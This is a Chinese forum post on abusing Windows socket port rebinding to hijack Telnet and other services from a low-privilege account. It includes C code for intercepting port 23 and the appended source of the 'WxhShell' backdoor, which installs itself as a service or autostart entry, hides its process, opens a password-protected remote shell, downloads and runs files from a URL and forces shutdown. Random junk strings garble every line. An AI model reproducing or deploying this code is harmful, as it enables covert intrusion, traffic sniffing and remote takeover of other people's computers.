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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]<L~f~vU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B& R?{y*  
67Qu<9}<-  
  saddr.sin_family = AF_INET; MNb9~kM  
x$D^Bh,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9yWf*s<  
I,HtW),  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e6 x#4YH  
/e^) *r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B3u/ y  
` aF8|tc_  
  这意味着什么?意味着可以进行如下的攻击: |@yYM-;6  
 ;Q4,I[?%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aDxNAfP  
`h'=F(v(}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~TeOl|!lE+  
DuDt'^]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o?Cc  
2N]8@a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .Dl ?a>I  
3EY m@oZj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =5V7212  
MI^$df  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "PO8Q  
AI#.+PrC{/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H$ g*  
a?8)47)  
  #include $Bl51Vj N  
  #include R5(([C1  
  #include }4H}*P>+  
  #include    -)3+/4Q(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #62ThH~  
  int main() c00rq ~<K  
  { / x$JY\cq`  
  WORD wVersionRequested; )T^w c:  
  DWORD ret; _z{9V7n4  
  WSADATA wsaData; ",Vx.LV  
  BOOL val; _KxR~k^  
  SOCKADDR_IN saddr; I"x|U[*B  
  SOCKADDR_IN scaddr; /j4G}  
  int err; Mx`';z8~  
  SOCKET s; aX6}:"R2C  
  SOCKET sc; ;' vkF  
  int caddsize; 2nCc(F&+?  
  HANDLE mt; XM*5I 4V  
  DWORD tid;   vM5/KrW  
  wVersionRequested = MAKEWORD( 2, 2 ); e@TwZ6l  
  err = WSAStartup( wVersionRequested, &wsaData ); "J2q|@.  
  if ( err != 0 ) { 5B2p_$W#  
  printf("error!WSAStartup failed!\n"); jgG9?w)|u  
  return -1; 8F`8=L NO  
  } ^B} m~qT  
  saddr.sin_family = AF_INET; .Y?]r6CC/  
   LP|YW*i=IQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rxyeix  
t8h*SHD9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -T{2R:\{  
  saddr.sin_port = htons(23); B@i%B+qCLv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) II.: k.D`  
  { |3!)  
  printf("error!socket failed!\n"); ha=2isq  
  return -1; 2ww H3}  
  } HF_8661g  
  val = TRUE; ss-6b^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eA-oqolY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nK?S2/o#A  
  { C~@m6K  
  printf("error!setsockopt failed!\n"); &Mudu/KTr  
  return -1; H)gc"aRe;Y  
  } E?P>s T3B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5V =mj+X?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r~ f;g9I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V@-Q&K#  
Hv^Bw{"/R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2zh- ms  
  { tp7$t#  
  ret=GetLastError(); 6o3#<ap<  
  printf("error!bind failed!\n"); RO/(Ldh  
  return -1; _8 0L/92  
  } bEQ-? X%7  
  listen(s,2); Xo~q}(ze^  
  while(1) 0+@:f^3]!  
  { -aok]w m  
  caddsize = sizeof(scaddr); 6?KUS}nRS  
  //接受连接请求 zb!1o0, J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .IdbaH _a  
  if(sc!=INVALID_SOCKET) 4* >j:1  
  { K$/"I0YyI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'b}RFzEn  
  if(mt==NULL) K|-m6!C!7  
  { GP hhg  
  printf("Thread Creat Failed!\n"); p!^K.P1 '  
  break; 8zj&e8&v  
  } U), HrI>;  
  } nYZ6'Iwi'  
  CloseHandle(mt);  .nrbd#i-  
  } UWV%  y P  
  closesocket(s); 6LGl]jHf  
  WSACleanup(); !ae?EJm"  
  return 0; wLqj<ot  
  }   Qr3!6  
  DWORD WINAPI ClientThread(LPVOID lpParam) _",(!(  
  { L@6]~[JvP  
  SOCKET ss = (SOCKET)lpParam; KhB775  
  SOCKET sc; ^GY^g-R  
  unsigned char buf[4096]; O)VcW/  
  SOCKADDR_IN saddr; n(eo_.W2|  
  long num; 5!qf{4j  
  DWORD val; pY )x&uM!  
  DWORD ret; 0LL0\ly]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dEKu5GI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?yq=c  
  saddr.sin_family = AF_INET; &DGz/o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x} c  
  saddr.sin_port = htons(23); .-tR <{ g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g1[BrT,  
  { -#T%*  
  printf("error!socket failed!\n"); d!R+-Fp  
  return -1; zs I?X>4  
  } (ub(0 h0j  
  val = 100; f*Q9u>1p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i^.eX VV/  
  { $Uy+]9  
  ret = GetLastError(); ^?""'1iuQx  
  return -1; 5yoi;$~}_0  
  } M NwY   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j;_  
  { Ul]7IUzsu  
  ret = GetLastError(); `j)56bR  
  return -1; <%uEWb)  
  } ?VE'!DW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l_:P |  
  {  AkS16A  
  printf("error!socket connect failed!\n"); b:Zh|-  
  closesocket(sc); O]=jI  
  closesocket(ss); 1aRTvaGo  
  return -1; bs)wxU`Q*  
  } ;2`6eyr  
  while(1) s a o&  
  { 7JQ4*RM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rY^uOrR>j*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c8uw_6#r(D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g&2g>]  
  num = recv(ss,buf,4096,0); L k nK  
  if(num>0) #9]2Uixq[  
  send(sc,buf,num,0); JnK<:]LcK  
  else if(num==0) I P#vfM  
  break; :+jg311}  
  num = recv(sc,buf,4096,0); @hg[v`~  
  if(num>0) N^[ F+y  
  send(ss,buf,num,0); aQx6;PC  
  else if(num==0) /Ls|'2J<$  
  break; zu @|"f^`  
  } zMP6hn  
  closesocket(ss); W1"NKg~4  
  closesocket(sc); v {HF}L  
  return 0 ; CS~onf<xz  
  } 6z U  
n8;L_43U  
xk>cdgt  
========================================================== dR\yRC]I  
T]&?^QGAZ  
下边附上一个代码,,WXhSHELL 8el6z2  
E<3xv;v8r  
========================================================== `0]N#G T  
xtv%C  
#include "stdafx.h" ' abEY  
#?S"y:  
#include <stdio.h> .cs x"JC  
#include <string.h> @PNgqjd  
#include <windows.h> 4_QfM}Fyp  
#include <winsock2.h> t.;._'  
#include <winsvc.h> #btf|\D  
#include <urlmon.h> 9;7"S.7AV  
@B >D>B  
#pragma comment (lib, "Ws2_32.lib") ^ei[1 #  
#pragma comment (lib, "urlmon.lib") S5>ztK.e  
sd%)g<t  
#define MAX_USER   100 // 最大客户端连接数 {z 5YJ*C  
#define BUF_SOCK   200 // sock buffer J{\Uw].|0  
#define KEY_BUFF   255 // 输入 buffer >Df; 1:U  
]m 3cm  
#define REBOOT     0   // 重启 hIqUidJod  
#define SHUTDOWN   1   // 关机 18F}3t??  
q9ra  
#define DEF_PORT   5000 // 监听端口 ;AOLbmb)H4  
=bD.5,F)  
#define REG_LEN     16   // 注册表键长度 uNuFD|aQ.  
#define SVC_LEN     80   // NT服务名长度 T=-UcF  
+fboTsp% H  
// 从dll定义API M}11 tUl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !zOj`lx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )HE{`yiLL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TX$dxHSPK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w#A\(z%;x  
i,;eW&  
// wxhshell配置信息 l59\Lo:  
struct WSCFG { Z9M$*Zp  
  int ws_port;         // 监听端口 NCi~. I  
  char ws_passstr[REG_LEN]; // 口令 >&+V[srfD  
  int ws_autoins;       // 安装标记, 1=yes 0=no LBD],Ba!  
  char ws_regname[REG_LEN]; // 注册表键名 3;Yd"  
  char ws_svcname[REG_LEN]; // 服务名 qdpi-*2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #p*uk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L)U*dY   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ER9{D$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =Y|( }92  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %b*N.v1+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZPE-  
em,1Yn?  
}; d*Mqs}8  
fNAW4I I}  
// default Wxhshell configuration $[`rY D/.  
struct WSCFG wscfg={DEF_PORT, F%p DF\  
    "xuhuanlingzhe", ["&{^  
    1, }Em{?Hqy  
    "Wxhshell", 00i MU  
    "Wxhshell", Ddq*}Pf0K  
            "WxhShell Service", J2x}@p  
    "Wrsky Windows CmdShell Service", 9b=0 4aWHm  
    "Please Input Your Password: ", , 2#Q >  
  1, dO z|CfUhI  
  "http://www.wrsky.com/wxhshell.exe", E]n]_{BN]  
  "Wxhshell.exe" HEFgEYlO  
    }; T8g\_m  
Ot47.z  
// 消息定义模块 #lqH/>`>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SN{A@dyt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '/UT0{2;rS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UVl B=  
char *msg_ws_ext="\n\rExit."; ,h1\PT9ULY  
char *msg_ws_end="\n\rQuit."; ,_YI:xie|c  
char *msg_ws_boot="\n\rReboot...";  .GJbrz  
char *msg_ws_poff="\n\rShutdown..."; I^f|U  
char *msg_ws_down="\n\rSave to "; {"~[F2qR  
K:< Viz  
char *msg_ws_err="\n\rErr!"; =TEe:%mN  
char *msg_ws_ok="\n\rOK!"; :35h0;8+  
@a]cI  
char ExeFile[MAX_PATH]; 3t+{~{Dj  
int nUser = 0; 9Cd/SlNV2  
HANDLE handles[MAX_USER]; BQWg L  
int OsIsNt; KxKZC }4m  
 N{g7  
SERVICE_STATUS       serviceStatus; ,m`&J?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \i,H1a  
GFPrK9T  
// 函数声明  \H>T[  
int Install(void); ,_(=w.F   
int Uninstall(void); ~cp=B>*(  
int DownloadFile(char *sURL, SOCKET wsh); 3 xW:"  
int Boot(int flag); T'7>4MT(  
void HideProc(void); \9p.I?=  
int GetOsVer(void); [I%e Ro[  
int Wxhshell(SOCKET wsl); W^^0Rh_  
void TalkWithClient(void *cs); g,WTXRy  
int CmdShell(SOCKET sock); T2]8w1l&K  
int StartFromService(void); 4.,|vtp  
int StartWxhshell(LPSTR lpCmdLine); ^kcuRJ0*$  
8i;drvf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {ST8'hY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lct_6?  
A3 TR'BFw-  
// 数据结构和表定义 J&h59dm-  
SERVICE_TABLE_ENTRY DispatchTable[] = 'qiAmaX  
{ jbe:"S tw  
{wscfg.ws_svcname, NTServiceMain}, JE:LA+ (  
{NULL, NULL} |*J;X<Vm  
}; GjW(&p$&  
 y_[VhZ%  
// 自我安装 ={cM6F}a@  
int Install(void) CZ] Dm4  
{ mB0`>?#i  
  char svExeFile[MAX_PATH]; R&t2   
  HKEY key; <75x@!  
  strcpy(svExeFile,ExeFile); )Rb t0   
S9l po_!z  
// 如果是win9x系统,修改注册表设为自启动 {}'Jr1  
if(!OsIsNt) { YY tVp_)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] g9SUFM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n7ZJ< ~wl  
  RegCloseKey(key); |wb_im  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H&*&n}vh5y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I&15[:b=-  
  RegCloseKey(key); +fozE?  
  return 0; T7ShE-X  
    } In%FOPO  
  } fuHNsrNlm  
} #+6j-^<_6  
else {  7Tr '<(A  
V+>RF  
// 如果是NT以上系统,安装为系统服务 2<0".5+I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jl 7>  
if (schSCManager!=0) /-lW$.+{?  
{ hA/Es?U]  
  SC_HANDLE schService = CreateService +7WpJ;C4  
  ( p[WlcbBwT  
  schSCManager, ZI$P Qz2i  
  wscfg.ws_svcname, X0ugnQ6  
  wscfg.ws_svcdisp, qrOesSdc  
  SERVICE_ALL_ACCESS, j3w~2q"r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %<Qv?`B  
  SERVICE_AUTO_START, &=%M("IlD  
  SERVICE_ERROR_NORMAL, ;A"i.:ZT  
  svExeFile, tD}{/`{_t  
  NULL, ! Y UT*  
  NULL, !T)_(}|6}  
  NULL, A;ZluQ  
  NULL, OBlQ   
  NULL $M-"az]  
  ); rFC9y o  
  if (schService!=0) .u7grC C  
  { v%`k*n':  
  CloseServiceHandle(schService); G^<m0ew|  
  CloseServiceHandle(schSCManager); >W/mRv&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FR50y+h^$  
  strcat(svExeFile,wscfg.ws_svcname); \N?lG q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %ByqkY{5F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *hFJI9G  
  RegCloseKey(key); UDk H'x$=  
  return 0; +('xzW  
    } e5FF'~A%]  
  } s;Zi   
  CloseServiceHandle(schSCManager); ):=8w.yC  
} Gyi0SM6v5&  
} 2WKIO|'  
tQxAZ0B^  
return 1; OL#i!ia.  
} Q-s5-&h(  
5A %TpJ  
// 自我卸载 k+@ :+ RL  
int Uninstall(void) g:c?%J  
{ S>HfyZ&Pc  
  HKEY key; }{J>kgr6  
4yMi9Ri4H  
if(!OsIsNt) { 5``usn/&Kj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vsA/iH.  
  RegDeleteValue(key,wscfg.ws_regname); 5D^2 +`$/  
  RegCloseKey(key); d"ZsOq10D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,HE{&p2y  
  RegDeleteValue(key,wscfg.ws_regname); 0Iyb}  
  RegCloseKey(key); '|tmmoY6a:  
  return 0; <[gN4x>'  
  } 8&x&Ou$("V  
} /^~)iTwH  
} - t 4F  
else { \dB z-H'@  
}ew )QHd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,*L3  
if (schSCManager!=0) _!vuDv%  
{ 9j;!4AJ1t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4 ;6,h6a  
  if (schService!=0) X"f]  
  { vvG*DGL)qL  
  if(DeleteService(schService)!=0) { A}uWy^w  
  CloseServiceHandle(schService); #x6w M~  
  CloseServiceHandle(schSCManager); X*)DpbWd  
  return 0; :9>U+)%  
  } Oeg^%Y   
  CloseServiceHandle(schService); W$D:mw7  
  } ZS&+<kGD  
  CloseServiceHandle(schSCManager); .q 4FGPWz  
} (G>g0(;D-  
} j->5%y  
(r.y   
return 1; -ebyW#  
} j3?@p5E(  
\$,;@H5I^  
// 从指定url下载文件 PC,I"l  
int DownloadFile(char *sURL, SOCKET wsh) 1NN#-U  
{ &6\E'bBt  
  HRESULT hr; A(C0/|#V  
char seps[]= "/"; +I.{y  
char *token; ,}^;q58  
char *file; _4lKd`  
char myURL[MAX_PATH]; 1q*=4O  
char myFILE[MAX_PATH]; D|C!KF (  
)h%tEY$AJ  
strcpy(myURL,sURL); Lp{uA4:=K  
  token=strtok(myURL,seps); !|,djo!N  
  while(token!=NULL) *u>[  
  { =@;\9j  
    file=token; @# p{,L  
  token=strtok(NULL,seps); ~f8:sDJ  
  } P>] *pD  
I<&) P#"  
GetCurrentDirectory(MAX_PATH,myFILE); y 5Kr<cF^  
strcat(myFILE, "\\"); vF{{$)c  
strcat(myFILE, file); K>2Bz&)  
  send(wsh,myFILE,strlen(myFILE),0); %F0.TR!!n  
send(wsh,"...",3,0); ge&!GO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7x$VH5jie#  
  if(hr==S_OK) Fy^8]u*Fu  
return 0; f F9=zrW  
else Is  ( Ji  
return 1; ^"J)^3j<  
Q"GZh.m  
} Lnltt86  
9iK%@k  
// 系统电源模块 5.U|CL  
int Boot(int flag) 0*/[z~Z-1  
{ 7  nawnS  
  HANDLE hToken;  OJ# d  
  TOKEN_PRIVILEGES tkp; `jGG^w3  
cD<5~`l  
  if(OsIsNt) { $r(9'm}W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R6irL!akAd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K3J,f2Cn$  
    tkp.PrivilegeCount = 1; ? C6t Yd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *b(nX,e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hh qNp U  
if(flag==REBOOT) { to] ~$~Q|>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ij7[2V]c  
  return 0; KA9v?_@{F  
} FlLk.+!t  
else { T5TA kEVl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +78cQqDY!  
  return 0; =?1B|hdo  
} ";w"dfC^  
  } rhwjsC6  
  else { GaOM|F'>  
if(flag==REBOOT) { 6L&_(/{Uw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yT C+5_7  
  return 0; ? wZ`U Oi  
} G9 ra;.  
else { {60U6n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eh6=-  
  return 0; ^" UZ.@sq'  
} k4~2hD<|  
} ks(BS k4  
Nb/Z+  
return 1; ~d=Y98'xS  
} a`;nB E  
yH',vC.  
// win9x进程隐藏模块 jtQ}  
void HideProc(void) _h P7hhR  
{ 7^]KQ2fF 8  
& ]1gx#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Afg.-7EP  
  if ( hKernel != NULL ) zXv2plw(  
  { ,-5|qko=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !s[[X5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8/ PS#dM\  
    FreeLibrary(hKernel); JR4fJG  
  } :z%q09.)  
%1kIaYZ  
return; <2fgao&-n  
} 7NQEnAl  
a/lTQj]A  
// 获取操作系统版本 kuo!}QFL  
int GetOsVer(void) 7toDk$jJRg  
{ eIt<da<G?  
  OSVERSIONINFO winfo; 7E\k97#G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2X@"#wIg  
  GetVersionEx(&winfo); t/(rB}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R2f^dt^  
  return 1; sH+ 90|?  
  else Ws:MbZyr  
  return 0; 9wP,Z"  
} V%[34G  
cPPTGpqw  
// 客户端句柄模块 %HcCe[d5l  
int Wxhshell(SOCKET wsl) A$W~R  
{ "<yJ<lS&>  
  SOCKET wsh; klx28/]  
  struct sockaddr_in client; P?j;&@$^e  
  DWORD myID; YaAOP'p  
)EIT>u=  
  while(nUser<MAX_USER) irKM?#h  
{ 9qX)FB@'i;  
  int nSize=sizeof(client); \MB$Cwc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RZqou|ki  
  if(wsh==INVALID_SOCKET) return 1; LHd9q ^D  
?=V;5H.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z6IWQo,)Rh  
if(handles[nUser]==0) DN;3VT.-  
  closesocket(wsh); z?'z{+HY  
else hf< [$B  
  nUser++; @5*$yi 'Cp  
  } k83S.*9Mx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L=V.@?  
WXe]Q bg  
  return 0; Mk!bmFZOZ  
} #]@|mf q  
&r1]A&  
// 关闭 socket O*ER3  
void CloseIt(SOCKET wsh) sk7]s7  
{ E$USam  
closesocket(wsh); Pd;Gc@'~  
nUser--; 0@kL<\u  
ExitThread(0); CX#d9 8\b  
} 7(C:ty9  
WlmkM?@  
// 客户端请求句柄 yVgHu#?PM  
void TalkWithClient(void *cs) (W+aeB0  
{ kt7x}F(?<  
kxt/I<cs  
  SOCKET wsh=(SOCKET)cs; c]R27r E  
  char pwd[SVC_LEN];  N}KL'  
  char cmd[KEY_BUFF]; t_jnp $1m  
char chr[1]; Ar'k6NX  
int i,j; >1RL5_US  
%'.3t|zH  
  while (nUser < MAX_USER) { zQaD&2 q  
-|4 Oq  
if(wscfg.ws_passstr) { s%^@@Dk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e@7UL|12  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); du_~P"[  
  //ZeroMemory(pwd,KEY_BUFF); -mLS\TFS  
      i=0; zV8{|-2]No  
  while(i<SVC_LEN) { 2BV]@]qB  
ry0YS\W  
  // 设置超时 jGe%'A N\  
  fd_set FdRead; ]D[\l$(  
  struct timeval TimeOut; T}59m;I  
  FD_ZERO(&FdRead); "w3%BbIx  
  FD_SET(wsh,&FdRead); (h'Bz6K  
  TimeOut.tv_sec=8; r0*Y~ KHw  
  TimeOut.tv_usec=0; ;2[),k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o2!wz8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S ^$!n,  
JJy.)-R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `\J,%J  
  pwd=chr[0]; P~s u]+  
  if(chr[0]==0xd || chr[0]==0xa) { D.gD4g_O/  
  pwd=0; !wTrWD!  
  break; zZ;V9KM>v  
  } 2@Oz_?O=  
  i++; J;'H],w}f  
    } 5}Z>N,4  
fGoJP[ae  
  // 如果是非法用户,关闭 socket wU|jw(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ic}mru  
} k%V YAON  
p4D.nB8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J T6}m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h 27f0x9  
^0&jy:{  
while(1) { nWA>u J5  
w@pJ49  
  ZeroMemory(cmd,KEY_BUFF); N9 h|_ax  
]A%~bQ7  
      // 自动支持客户端 telnet标准   *P8CzF^>\&  
  j=0; /}9)ZY Mx  
  while(j<KEY_BUFF) { )YW"Zo8~!1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wg,7k9I  
  cmd[j]=chr[0]; pfHfw,[  
  if(chr[0]==0xa || chr[0]==0xd) { .q1y)l-^Z  
  cmd[j]=0; %<fs \J^k  
  break; >R5A@0@d5  
  } 8Oz9 UcG  
  j++; ,0{x-S0jX<  
    } <<R2 X1  
w|abaMam  
  // 下载文件 !*S,S{T8  
  if(strstr(cmd,"http://")) { RK=Pm7L:`y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iw?*y.z|  
  if(DownloadFile(cmd,wsh)) 0#4A0[vV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  \>||  
  else 2_}oOt?qiM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LXaq  
  } >>|47ps3  
  else { @WNqD*)1  
~tn$AtK  
    switch(cmd[0]) { 2MmHO2  
  bOSqD[?  
  // 帮助 NF7  
  case '?': { (2UA,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }B_?7+  
    break; 70 Ph^e)  
  } r6GXmr  
  // 安装 6\k~q.U@XI  
  case 'i': { X,bhX/h  
    if(Install()) ;tQ(l%!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;e.8EL  
    else @Ne&%F?^Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n.t5:SW  
    break; <@[;IX`YN  
    } @ qi|}($  
  // 卸载 )O5@R  
  case 'r': { :{4C2qK>  
    if(Uninstall()) \;KSx3o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ r  
    else g/}d> 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^VW]Qr!  
    break; Bh'!aipk  
    } ^4NRmlb  
  // 显示 wxhshell 所在路径 .)=*Yr M  
  case 'p': { 9yaTDxB>  
    char svExeFile[MAX_PATH]; ]_|'N7J  
    strcpy(svExeFile,"\n\r"); EIfqRRTA  
      strcat(svExeFile,ExeFile); ]#W7-Q;]  
        send(wsh,svExeFile,strlen(svExeFile),0); /q}(KJX  
    break; /nsBUM[;  
    } HDTA`h?t;  
  // 重启 #%F-Xsk  
  case 'b': { E 0/>E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #-PMREgO  
    if(Boot(REBOOT)) |?ZU8I^vW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ycSGv4 )  
    else { Ijap%l1I  
    closesocket(wsh); fj/L)i  
    ExitThread(0); @3$I  
    } %@)R  
    break; T+aNX/c|>  
    } $gN\%X/n"1  
  // 关机 Z6rZAwy  
  case 'd': { 1zCu1'Wv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -#mN/  
    if(Boot(SHUTDOWN)) \4^zY'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b8Z_o N5!  
